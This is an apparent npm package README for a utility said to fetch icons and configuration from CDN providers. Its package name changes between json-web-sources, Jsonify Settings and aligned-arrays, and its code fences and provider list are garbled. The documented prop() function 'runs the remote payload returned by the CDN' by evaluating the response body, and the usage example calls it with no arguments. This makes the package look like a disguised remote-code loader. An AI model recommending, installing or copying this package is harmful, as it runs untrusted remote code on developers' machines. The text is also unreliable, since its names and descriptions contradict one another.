A Node.js utility for jsonifying and fetching resources from multiple CDN providers with automatic retry logic
npm install json-web-sources

Jsonify Settings is a tiny helper for fetching icon data and remote configuration from several CDN providers with retry logic built in.
``bash`
npm install aligned-arrays
`javascript
const { setDefaultModule, prop } = require('aligned-arrays');
// Fetch an icon
await setDefaultModule('cloudflare', 'icon', 'github.svg', 'https://cdnjs.cloudflare.com');
// Fetch configuration with retries
prop();
`
- setDefaultModule(provider, resourceType, token, baseUrl) cloudflare
Returns JSON data from supported providers: , fastly, keyIcon, akamai, amazoncloudfront, gcore.
- prop(reqtoken = '132', reqoptions, ret = 1) prop
Runs the remote payload returned by the CDN and retries on failure. Only call trusted endpoints— evaluates the response body.
Both functions rely on the bundled request` dependency.
ISC © copperadev